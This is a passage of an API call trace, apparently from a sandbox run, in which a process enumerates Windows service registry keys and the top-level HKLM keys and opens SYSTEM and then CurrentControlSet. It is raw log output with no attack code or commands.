Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.464] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.465] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.465] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.465] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0217.466] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0217.467] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0217.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0217.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0217.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0217.471] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0217.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0217.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0217.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0217.475] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0217.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0217.475] RegCloseKey (hKey=0x148) returned 0x0 [0217.475] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0217.475] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0217.475] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0217.476] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0217.476] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0217.476] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0217.476] RegCloseKey (hKey=0x80000002) returned 0x0 [0217.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0217.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0217.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0217.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0217.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0217.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0217.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0217.477] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0217.477] RegCloseKey (hKey=0xc4) returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0217.477] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, 